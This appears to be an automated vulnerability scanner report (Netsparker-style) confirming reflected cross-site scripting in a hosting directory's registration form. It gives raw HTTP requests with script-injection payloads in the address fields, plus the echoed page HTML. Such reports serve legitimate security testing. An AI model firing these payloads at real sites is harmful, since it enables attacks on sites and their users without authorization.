account_type=1&address=3&address2='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001C7A)%3c%2fscript%3e&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:48:53 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='C4C0A65D598D2DD55474AFED60321933C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='C4C0A65D598D2DD52CE3C48C8924FBEE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='C4C0A65D598D2DD50776FB573D481901C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD57E65D605C326A652C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='C4C0A65D598D2DD5CECA730BA658F7D56F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='C4C0A65D598D2DD5FA89DC2928CBA9C0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='C4C0A65D598D2DD505DC966F9AC271F3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='C4C0A65D598D2DD5857A5DCCE64F883E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='C4C0A65D598D2DD5FA75E51E60CF1ACDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='C4C0A65D598D2DD58732319DDFD2B4B86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='C4C0A65D598D2DD5DC1752C72CDB8E54C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='C4C0A65D598D2DD5C3AB18F2760A14B1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='C4C0A65D598D2DD5CED1C1BFE4CFA0EAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD509AA34A6696A3947C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='C4C0A65D598D2DD538D25091421132B5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='C4C0A65D598D2DD5B7E25E2774DA0F8BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='C4C0A65D598D2DD5842FA774765936C66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='C4C0A65D598D2DD5AA6319E9999A52E86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='C4C0A65D598D2DD579623661ABEB22BD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST '"--></style></script><script>alert(0x001C8A)</script>
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001C8A)%3c%2fscript%3e&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:49:05 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='C4C0A65D598D2DD5F6D770E1F9FB6591C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='C4C0A65D598D2DD59EDD47ECDA823DE66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='C4C0A65D598D2DD5C1493FA2646892AEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD5796B90B701858C0EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='C4C0A65D598D2DD5CE18F775AD197E516F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='C4C0A65D598D2DD5B368910B3BB5C037C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='C4C0A65D598D2DD5CC456E0A20EE2B36C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='C4C0A65D598D2DD5779FE3A0EC91324E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='C4C0A65D598D2DD51F1831E80EE0BBEBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='C4C0A65D598D2DD5E31553200C997EA76F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='C4C0A65D598D2DD51D34B53E86B389ADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='C4C0A65D598D2DD5005B0D6578706B28C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='C4C0A65D598D2DD57DF58E038A111B0EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD5262BA3131E137831C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='C4C0A65D598D2DD5D7C0B04C6C9CC985C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='C4C0A65D598D2DD56591F90C76FD52A4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='C4C0A65D598D2DD5004D0BACDED0F9956F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='C4C0A65D598D2DD5C011E29862EF71F06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='C4C0A65D598D2DD57B12A758A009ABAE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
